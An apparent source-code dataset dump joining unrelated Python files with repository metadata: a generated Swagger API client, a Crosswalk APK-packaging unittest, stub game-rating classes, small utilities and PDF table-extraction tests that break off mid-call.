noqa: E501 return data def get_person_root_with_http_info(self, **kwargs): # noqa: E501 """get root person # noqa: E501 get the root node for person # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_person_root_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: PersonResource If the method is called asynchronously, returns the request thread. """ all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_person_root" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['kapi auth'] # noqa: E501 return self.api_client.call_api( '/v1/rootperson', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PersonResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_subject_root(self, **kwargs): # noqa: E501 """get root subject # noqa: E501 get the root node for person # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_subject_root(async_req=True) >>> result = thread.get() :param async_req bool :return: SubjectResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_subject_root_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_subject_root_with_http_info(**kwargs) # noqa: E501 return data def get_subject_root_with_http_info(self, **kwargs): # noqa: E501 """get root subject # noqa: E501 get the root node for person # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_subject_root_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: SubjectResource If the method is called asynchronously, returns the request thread. """ all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_subject_root" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['kapi auth'] # noqa: E501 return self.api_client.call_api( '/v1/rootsubject', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SubjectResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_work_root(self, **kwargs): # noqa: E501 """get root work # noqa: E501 get the root node for person # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_work_root(async_req=True) >>> result = thread.get() :param async_req bool :return: WorkResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_work_root_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_work_root_with_http_info(**kwargs) # noqa: E501 return data def get_work_root_with_http_info(self, **kwargs): # noqa: E501 """get root work # noqa: E501 get the root node for person # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_work_root_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: WorkResource If the method is called asynchronously, returns the request thread. """ all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_work_root" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['kapi auth'] # noqa: E501 return self.api_client.call_api( '/v1/rootwork', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='WorkResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def healthcheck(self, **kwargs): # noqa: E501 """healthcheck # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.healthcheck(async_req=True) >>> result = thread.get() :param async_req bool :return: BuildProperties If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.healthcheck_with_http_info(**kwargs) # noqa: E501 else: (data) = self.healthcheck_with_http_info(**kwargs) # noqa: E501 return data def healthcheck_with_http_info(self, **kwargs): # noqa: E501 """healthcheck # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.healthcheck_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: BuildProperties If the method is called asynchronously, returns the request thread. """ all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method healthcheck" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['*/*']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1/health', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='BuildProperties', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

34.128947

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0.100547

0.051352

0.030593

0.039334

0.916826

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0.890057

0.887053

0.87162

0

0.017148

0.316524

12,969

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0

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1

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0

1

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false

0

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0

null

0

1

0

1

0

null

0

8

d2b33acdf0c9289821aa1ef013b366f000a129d9

2,330

py

Python

wrt/wrt-packertool2-android-tests/packertool2/indextest.py

yugang/crosswalk-test-suite

c02e50b7901f0ccd7b42028460c907465f0cb682

[ "BSD-3-Clause" ]

null

wrt/wrt-packertool2-android-tests/packertool2/indextest.py

yugang/crosswalk-test-suite

c02e50b7901f0ccd7b42028460c907465f0cb682

[ "BSD-3-Clause" ]

null

wrt/wrt-packertool2-android-tests/packertool2/indextest.py

yugang/crosswalk-test-suite

c02e50b7901f0ccd7b42028460c907465f0cb682

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python import unittest import os, sys, commands import comm class TestPackertoolsFunctions(unittest.TestCase): def test_index1(self): comm.setUp() cmd = "python %smake_apk.py --package=org.hello.world --name=world --arch=%s --mode=%s --app-root=%s --app-local-path=%s" % \ (comm.Pck_Tools, comm.ARCH, comm.MODE, comm.APP_PATH, comm.INDEX_PATH[0]) packstatus = commands.getstatusoutput(cmd) if packstatus[0] == 0: print "Generate APK ----------------> OK!" result = commands.getstatusoutput("ls") self.assertIn(comm.AppName, result[1]) else: print "Generate APK ----------------> Error!" result = commands.getstatusoutput("ls") self.assertNotIn(comm.AppName, result[1]) os.remove(comm.AppName) def test_index2(self): comm.setUp() cmd = "python %smake_apk.py --package=org.hello.world --name=world --arch=%s --mode=%s --app-root=%s --app-local-path=%s" % \ (comm.Pck_Tools, comm.ARCH, comm.MODE, comm.APP_PATH, comm.INDEX_PATH[1]) packstatus = commands.getstatusoutput(cmd) if packstatus[0] == 0: print "Generate APK ----------------> OK!" result = commands.getstatusoutput("ls") self.assertIn(comm.AppName, result[1]) else: print "Generate APK ----------------> Error!" result = commands.getstatusoutput("ls") self.assertNotIn(comm.AppName, result[1]) os.remove(comm.AppName) def test_index3(self): comm.setUp() cmd = "python %smake_apk.py --package=org.hello.world --name=world --arch=%s --mode=%s --app-root=%s --app-local-path=%s" % \ (comm.Pck_Tools, comm.ARCH, comm.MODE, comm.APP_PATH, comm.INDEX_PATH[2]) packstatus = commands.getstatusoutput(cmd) if packstatus[0] == 0: print "Generate APK ----------------> OK!" result = commands.getstatusoutput("ls") self.assertIn(comm.AppName, result[1]) else: print "Generate APK ----------------> Error!" result = commands.getstatusoutput("ls") self.assertNotIn(comm.AppName, result[1]) os.remove(comm.AppName) if __name__ == '__main__': unittest.main()

41.607143

133

0.572103

270

2,330

4.851852

0.211111

0.158015

0.073282

0.141985

0.883206

0

0.01028

0.248498

2,330

55

134

42.363636

0.737864

0.008584

0

0.75

0

0.0625

0.247726

0.032482

0

0.125

0

null

0

0.0625

null

0.125

0

null

0

1

0

1

0

null

0

1

0

8

d2e76aa33c87c047d0f7d56a1cf210ef02df1f72

6,821

py

Python

loldib/getratings/models/NA/na_vladimir/na_vladimir_sup.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_vladimir/na_vladimir_sup.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_vladimir/na_vladimir_sup.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

from getratings.models.ratings import Ratings class NA_Vladimir_Sup_Aatrox(Ratings): pass class NA_Vladimir_Sup_Ahri(Ratings): pass class NA_Vladimir_Sup_Akali(Ratings): pass class NA_Vladimir_Sup_Alistar(Ratings): pass class NA_Vladimir_Sup_Amumu(Ratings): pass class NA_Vladimir_Sup_Anivia(Ratings): pass class NA_Vladimir_Sup_Annie(Ratings): pass class NA_Vladimir_Sup_Ashe(Ratings): pass class NA_Vladimir_Sup_AurelionSol(Ratings): pass class NA_Vladimir_Sup_Azir(Ratings): pass class NA_Vladimir_Sup_Bard(Ratings): pass class NA_Vladimir_Sup_Blitzcrank(Ratings): pass class NA_Vladimir_Sup_Brand(Ratings): pass class NA_Vladimir_Sup_Braum(Ratings): pass class NA_Vladimir_Sup_Caitlyn(Ratings): pass class NA_Vladimir_Sup_Camille(Ratings): pass class NA_Vladimir_Sup_Cassiopeia(Ratings): pass class NA_Vladimir_Sup_Chogath(Ratings): pass class NA_Vladimir_Sup_Corki(Ratings): pass class NA_Vladimir_Sup_Darius(Ratings): pass class NA_Vladimir_Sup_Diana(Ratings): pass class NA_Vladimir_Sup_Draven(Ratings): pass class NA_Vladimir_Sup_DrMundo(Ratings): pass class NA_Vladimir_Sup_Ekko(Ratings): pass class NA_Vladimir_Sup_Elise(Ratings): pass class NA_Vladimir_Sup_Evelynn(Ratings): pass class NA_Vladimir_Sup_Ezreal(Ratings): pass class NA_Vladimir_Sup_Fiddlesticks(Ratings): pass class NA_Vladimir_Sup_Fiora(Ratings): pass class NA_Vladimir_Sup_Fizz(Ratings): pass class NA_Vladimir_Sup_Galio(Ratings): pass class NA_Vladimir_Sup_Gangplank(Ratings): pass class NA_Vladimir_Sup_Garen(Ratings): pass class NA_Vladimir_Sup_Gnar(Ratings): pass class NA_Vladimir_Sup_Gragas(Ratings): pass class NA_Vladimir_Sup_Graves(Ratings): pass class NA_Vladimir_Sup_Hecarim(Ratings): pass class NA_Vladimir_Sup_Heimerdinger(Ratings): pass class NA_Vladimir_Sup_Illaoi(Ratings): pass class NA_Vladimir_Sup_Irelia(Ratings): pass class NA_Vladimir_Sup_Ivern(Ratings): pass class NA_Vladimir_Sup_Janna(Ratings): pass class NA_Vladimir_Sup_JarvanIV(Ratings): pass class NA_Vladimir_Sup_Jax(Ratings): pass class NA_Vladimir_Sup_Jayce(Ratings): pass class NA_Vladimir_Sup_Jhin(Ratings): pass class NA_Vladimir_Sup_Jinx(Ratings): pass class NA_Vladimir_Sup_Kalista(Ratings): pass class NA_Vladimir_Sup_Karma(Ratings): pass class NA_Vladimir_Sup_Karthus(Ratings): pass class NA_Vladimir_Sup_Kassadin(Ratings): pass class NA_Vladimir_Sup_Katarina(Ratings): pass class NA_Vladimir_Sup_Kayle(Ratings): pass class NA_Vladimir_Sup_Kayn(Ratings): pass class NA_Vladimir_Sup_Kennen(Ratings): pass class NA_Vladimir_Sup_Khazix(Ratings): pass class NA_Vladimir_Sup_Kindred(Ratings): pass class NA_Vladimir_Sup_Kled(Ratings): pass class NA_Vladimir_Sup_KogMaw(Ratings): pass class NA_Vladimir_Sup_Leblanc(Ratings): pass class NA_Vladimir_Sup_LeeSin(Ratings): pass class NA_Vladimir_Sup_Leona(Ratings): pass class NA_Vladimir_Sup_Lissandra(Ratings): pass class NA_Vladimir_Sup_Lucian(Ratings): pass class NA_Vladimir_Sup_Lulu(Ratings): pass class NA_Vladimir_Sup_Lux(Ratings): pass class NA_Vladimir_Sup_Malphite(Ratings): pass class NA_Vladimir_Sup_Malzahar(Ratings): pass class NA_Vladimir_Sup_Maokai(Ratings): pass class NA_Vladimir_Sup_MasterYi(Ratings): pass class NA_Vladimir_Sup_MissFortune(Ratings): pass class NA_Vladimir_Sup_MonkeyKing(Ratings): pass class NA_Vladimir_Sup_Mordekaiser(Ratings): pass class NA_Vladimir_Sup_Morgana(Ratings): pass class NA_Vladimir_Sup_Nami(Ratings): pass class NA_Vladimir_Sup_Nasus(Ratings): pass class NA_Vladimir_Sup_Nautilus(Ratings): pass class NA_Vladimir_Sup_Nidalee(Ratings): pass class NA_Vladimir_Sup_Nocturne(Ratings): pass class NA_Vladimir_Sup_Nunu(Ratings): pass class NA_Vladimir_Sup_Olaf(Ratings): pass class NA_Vladimir_Sup_Orianna(Ratings): pass class NA_Vladimir_Sup_Ornn(Ratings): pass class NA_Vladimir_Sup_Pantheon(Ratings): pass class NA_Vladimir_Sup_Poppy(Ratings): pass class NA_Vladimir_Sup_Quinn(Ratings): pass class NA_Vladimir_Sup_Rakan(Ratings): pass class NA_Vladimir_Sup_Rammus(Ratings): pass class NA_Vladimir_Sup_RekSai(Ratings): pass class NA_Vladimir_Sup_Renekton(Ratings): pass class NA_Vladimir_Sup_Rengar(Ratings): pass class NA_Vladimir_Sup_Riven(Ratings): pass class NA_Vladimir_Sup_Rumble(Ratings): pass class NA_Vladimir_Sup_Ryze(Ratings): pass class NA_Vladimir_Sup_Sejuani(Ratings): pass class NA_Vladimir_Sup_Shaco(Ratings): pass class NA_Vladimir_Sup_Shen(Ratings): pass class NA_Vladimir_Sup_Shyvana(Ratings): pass class NA_Vladimir_Sup_Singed(Ratings): pass class NA_Vladimir_Sup_Sion(Ratings): pass class NA_Vladimir_Sup_Sivir(Ratings): pass class NA_Vladimir_Sup_Skarner(Ratings): pass class NA_Vladimir_Sup_Sona(Ratings): pass class NA_Vladimir_Sup_Soraka(Ratings): pass class NA_Vladimir_Sup_Swain(Ratings): pass class NA_Vladimir_Sup_Syndra(Ratings): pass class NA_Vladimir_Sup_TahmKench(Ratings): pass class NA_Vladimir_Sup_Taliyah(Ratings): pass class NA_Vladimir_Sup_Talon(Ratings): pass class NA_Vladimir_Sup_Taric(Ratings): pass class NA_Vladimir_Sup_Teemo(Ratings): pass class NA_Vladimir_Sup_Thresh(Ratings): pass class NA_Vladimir_Sup_Tristana(Ratings): pass class NA_Vladimir_Sup_Trundle(Ratings): pass class NA_Vladimir_Sup_Tryndamere(Ratings): pass class NA_Vladimir_Sup_TwistedFate(Ratings): pass class NA_Vladimir_Sup_Twitch(Ratings): pass class NA_Vladimir_Sup_Udyr(Ratings): pass class NA_Vladimir_Sup_Urgot(Ratings): pass class NA_Vladimir_Sup_Varus(Ratings): pass class NA_Vladimir_Sup_Vayne(Ratings): pass class NA_Vladimir_Sup_Veigar(Ratings): pass class NA_Vladimir_Sup_Velkoz(Ratings): pass class NA_Vladimir_Sup_Vi(Ratings): pass class NA_Vladimir_Sup_Viktor(Ratings): pass class NA_Vladimir_Sup_Vladimir(Ratings): pass class NA_Vladimir_Sup_Volibear(Ratings): pass class NA_Vladimir_Sup_Warwick(Ratings): pass class NA_Vladimir_Sup_Xayah(Ratings): pass class NA_Vladimir_Sup_Xerath(Ratings): pass class NA_Vladimir_Sup_XinZhao(Ratings): pass class NA_Vladimir_Sup_Yasuo(Ratings): pass class NA_Vladimir_Sup_Yorick(Ratings): pass class NA_Vladimir_Sup_Zac(Ratings): pass class NA_Vladimir_Sup_Zed(Ratings): pass class NA_Vladimir_Sup_Ziggs(Ratings): pass class NA_Vladimir_Sup_Zilean(Ratings): pass class NA_Vladimir_Sup_Zyra(Ratings): pass

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d2ec0c4bd971c02f74d2e76a1235a7c94d05cafd

151

py

Python

tests/conftest.py

kiryteo/pytorch-bioimage-io

53373c45d3833b35657914953aaac544ec794a7e

[ "MIT" ]

1

2021-08-04T04:03:37.000Z

tests/test_bioimage-io/conftest.py

LalithShiyam/pytorch-3dunet

f6b6c13cb0bb6194e95976b0245b76aaa9e9a496

[ "MIT" ]

null

tests/test_bioimage-io/conftest.py

LalithShiyam/pytorch-3dunet

f6b6c13cb0bb6194e95976b0245b76aaa9e9a496

[ "MIT" ]

1

2022-03-14T04:43:24.000Z

import os from pathlib import Path import pytest @pytest.fixture def cache_path(tmp_path): return Path(os.getenv("PYBIO_CACHE_PATH", tmp_path))

15.1

56

0.774834

24

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0.285714

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57

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960e10bfd5f5eb8370b3c05a92ff07f0e2cc6e5c

198

py

Python

prototyping/utils.py

QuVil/mon-bot-le-dj

e9320fc19b1665dbb023c5eac015a208ba612750

[ "MIT" ]

5

2020-06-25T17:12:53.000Z

2020-07-22T16:03:19.000Z

prototyping/utils.py

QuVil/mon-bot-le-dj

e9320fc19b1665dbb023c5eac015a208ba612750

[ "MIT" ]

3

2020-06-29T22:24:32.000Z

2020-08-30T10:45:44.000Z

prototyping/utils.py

QuVil/mon-bot-le-dj

e9320fc19b1665dbb023c5eac015a208ba612750

[ "MIT" ]

null

def string_or_none(string: str) -> object: return string if string else None def as_real_or_none(string: str) -> object: try: return float(string.replace(',', '.')) except: return None

28.285714

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null

0

1

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1

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82491719a960fe81cca2c6d25756756dc4f27aa7

23,875

py

Python

tests/test_tables.py

SimonHurst/py-pdf-parser

4186115b64115e9916475d4a034542a64f57457b

[ "MIT" ]

null

tests/test_tables.py

SimonHurst/py-pdf-parser

4186115b64115e9916475d4a034542a64f57457b

[ "MIT" ]

null

tests/test_tables.py

SimonHurst/py-pdf-parser

4186115b64115e9916475d4a034542a64f57457b

[ "MIT" ]

null

from py_pdf_parser.common import BoundingBox from py_pdf_parser.exceptions import ( InvalidTableError, InvalidTableHeaderError, TableExtractionError, ) from py_pdf_parser.tables import ( extract_simple_table, extract_table, get_text_from_table, _validate_table_shape, add_header_to_table, ) from .base import BaseTestCase from .utils import create_pdf_document, create_pdf_element, FakePDFMinerTextElement class TestTables(BaseTestCase): def test_extract_simple_table(self): # Checks that simple 2*2 table is correctly extracted # # elem_1 elem_2 # elem_3 elem_4 # elem_1 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 6, 10)) elem_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 6, 10)) elem_3 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 0, 5)) elem_4 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 0, 5)) document = create_pdf_document(elements=[elem_1, elem_2, elem_3, elem_4]) elem_list = document.elements result = extract_simple_table(elem_list) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 2) self.assertEqual(len(result[1]), 2) self.assert_original_element_list_list_equal( [[elem_1, elem_2], [elem_3, elem_4]], result ) # Checks that it raises an exception when table is not rectangular i.e table # has empty cells # # elem_1 elem_2 # elem_3 elem_4 elem_5 # elem_5 = FakePDFMinerTextElement(bounding_box=BoundingBox(11, 15, 0, 5)) document = create_pdf_document( elements=[elem_1, elem_2, elem_3, elem_4, elem_5] ) elem_list = document.elements with self.assertRaises(TableExtractionError): extract_simple_table(elem_list) def test_extract_simple_table_with_gaps(self): # elem_1 elem_2 elem_3 # elem_4 elem_5 elem_1 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 6, 10)) elem_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 6, 10)) elem_3 = FakePDFMinerTextElement(bounding_box=BoundingBox(11, 15, 6, 10)) elem_4 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 0, 5)) elem_5 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 0, 5)) document = create_pdf_document( elements=[elem_1, elem_2, elem_3, elem_4, elem_5] ) elem_list = document.elements result = extract_simple_table(elem_list, allow_gaps=True) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 3) self.assertEqual(len(result[1]), 3) self.assert_original_element_list_list_equal( [[elem_1, elem_2, elem_3], [elem_4, elem_5, None]], result ) def test_extract_simple_table_with_gaps_and_different_reference(self): # elem_1 elem_2 elem_3 # elem_4 elem_5 elem_1 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 6, 10)) elem_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 6, 10)) elem_3 = FakePDFMinerTextElement(bounding_box=BoundingBox(11, 15, 6, 10)) elem_4 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 0, 5)) elem_5 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 0, 5)) document = create_pdf_document( elements=[elem_1, elem_2, elem_3, elem_4, elem_5] ) elem_list = document.elements reference_element = self.extract_element_from_list(elem_2, elem_list) result = extract_simple_table( elem_list, allow_gaps=True, reference_element=reference_element ) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 3) self.assertEqual(len(result[1]), 3) self.assert_original_element_list_list_equal( [[elem_1, elem_2, elem_3], [elem_4, elem_5, None]], result ) def test_extract_simple_table_with_gaps_and_wrong_reference(self): # elem_1 elem_2 elem_3 # elem_4 elem_5 elem_1 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 6, 10)) elem_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 6, 10)) elem_3 = FakePDFMinerTextElement(bounding_box=BoundingBox(11, 15, 6, 10)) elem_4 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 0, 5)) elem_5 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 0, 5)) document = create_pdf_document( elements=[elem_1, elem_2, elem_3, elem_4, elem_5] ) elem_list = document.elements reference_element = self.extract_element_from_list(elem_3, elem_list) with self.assertRaises(TableExtractionError): extract_simple_table( elem_list, allow_gaps=True, reference_element=reference_element ) def test_extract_simple_table_from_different_pages(self): # Checks that simple 2*2 tables are correctly extracted from different pages # # Page 1: # elem_p1_1 elem_p1_2 # elem_p1_3 elem_p1_4 # # Page 2: # elem_p2_1 elem_p2_2 # elem_p2_3 elem_p2_4 # elem_p1_1 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 6, 10)) elem_p1_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 6, 10)) elem_p1_3 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 0, 5)) elem_p1_4 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 0, 5)) elem_p2_1 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 6, 10)) elem_p2_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 6, 10)) elem_p2_3 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 0, 5)) elem_p2_4 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 0, 5)) document = create_pdf_document( elements={ 1: [elem_p1_1, elem_p1_2, elem_p1_3, elem_p1_4], 2: [elem_p2_1, elem_p2_2, elem_p2_3, elem_p2_4], } ) elem_list = document.elements result = extract_simple_table(elem_list) self.assertEqual(len(result), 4) self.assertEqual(len(result[0]), 2) self.assertEqual(len(result[1]), 2) self.assertEqual(len(result[2]), 2) self.assertEqual(len(result[3]), 2) self.assert_original_element_list_list_equal( [ [elem_p1_1, elem_p1_2], [elem_p1_3, elem_p1_4], [elem_p2_1, elem_p2_2], [elem_p2_3, elem_p2_4], ], result, ) def test_extract_simple_table_with_tolerance(self): # Checks that simple 2*2 table is correctly extracted # # elem_1 elem_2 # elem_3 elem_4 # But with elem_4 slightly overlapping elem_2, counteracted by setting tolerance elem_1 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 6, 10)) elem_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 6, 10)) elem_3 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 0, 5)) elem_4 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 0, 6.1)) document = create_pdf_document(elements=[elem_1, elem_2, elem_3, elem_4]) elem_list = document.elements with self.assertRaises(TableExtractionError): extract_simple_table(elem_list) result = extract_simple_table(elem_list, tolerance=0.2) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 2) self.assertEqual(len(result[1]), 2) self.assert_original_element_list_list_equal( [[elem_1, elem_2], [elem_3, elem_4]], result ) def test_extract_table(self): # Checks that simple 2*2 table is correctly extracted # # elem_1 elem_2 # elem_3 elem_4 # elem_1 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 6, 10)) elem_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 6, 10)) elem_3 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 0, 5)) elem_4 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 0, 5)) document = create_pdf_document(elements=[elem_1, elem_2, elem_3, elem_4]) elem_list = document.elements result = extract_table(elem_list) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 2) self.assertEqual(len(result[1]), 2) self.assert_original_element_list_list_equal( [[elem_1, elem_2], [elem_3, elem_4]], result ) # Checks that the following table is correctly extracted # # elem_1 elem_2 elem_6 # elem_3 elem_4 elem_5 # elem_5 = FakePDFMinerTextElement(bounding_box=BoundingBox(11, 15, 0, 5)) elem_6 = FakePDFMinerTextElement(bounding_box=BoundingBox(16, 20, 6, 10)) document = create_pdf_document( elements=[elem_1, elem_2, elem_3, elem_4, elem_5, elem_6] ) elem_list = document.elements result = extract_table(elem_list) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 4) self.assertEqual(len(result[1]), 4) self.assert_original_element_list_list_equal( [[elem_1, elem_2, None, elem_6], [elem_3, elem_4, elem_5, None]], result ) # Checks that it raises an error if one element is in two rows elem_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(3, 8, 6, 10)) document = create_pdf_document( elements=[elem_1, elem_2, elem_3, elem_4, elem_5, elem_6] ) elem_list = document.elements with self.assertRaises(TableExtractionError): result = extract_table(elem_list) # Checks that it raises an error if one element is in two columns elem_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 3, 8)) document = create_pdf_document( elements=[elem_1, elem_2, elem_3, elem_4, elem_5, elem_6] ) elem_list = document.elements with self.assertRaises(TableExtractionError): result = extract_table(elem_list) def test_extract_table_from_different_pages(self): # Checks that simple 2*2 tables are correctly extracted from different pages # # Page 1: # elem_p1_1 elem_p1_2 # elem_p1_3 elem_p1_4 # # Page 2: # elem_p2_1 elem_p2_2 # elem_p2_3 elem_p2_4 # elem_p1_1 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 6, 10)) elem_p1_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 6, 10)) elem_p1_3 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 0, 5)) elem_p1_4 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 0, 5)) elem_p2_1 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 6, 10)) elem_p2_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 6, 10)) elem_p2_3 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 0, 5)) elem_p2_4 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 0, 5)) document = create_pdf_document( elements={ 1: [elem_p1_1, elem_p1_2, elem_p1_3, elem_p1_4], 2: [elem_p2_1, elem_p2_2, elem_p2_3, elem_p2_4], } ) elem_list = document.elements result = extract_table(elem_list) self.assertEqual(len(result), 4) self.assertEqual(len(result[0]), 2) self.assertEqual(len(result[1]), 2) self.assertEqual(len(result[2]), 2) self.assertEqual(len(result[3]), 2) self.assert_original_element_list_list_equal( [ [elem_p1_1, elem_p1_2], [elem_p1_3, elem_p1_4], [elem_p2_1, elem_p2_2], [elem_p2_3, elem_p2_4], ], result, ) def test_extract_table_with_tolerance(self): # Checks that simple 2*2 table is correctly extracted # # elem_1 elem_2 # elem_3 elem_4 # # But with elem_4 slightly overlapping elem_2, counteracted by setting tolerance elem_1 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 6, 10)) elem_2 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 6, 10)) elem_3 = FakePDFMinerTextElement(bounding_box=BoundingBox(0, 5, 0, 5)) elem_4 = FakePDFMinerTextElement(bounding_box=BoundingBox(6, 10, 0, 6.1)) document = create_pdf_document(elements=[elem_1, elem_2, elem_3, elem_4]) elem_list = document.elements with self.assertRaises(TableExtractionError): extract_table(elem_list) result = extract_table(elem_list, 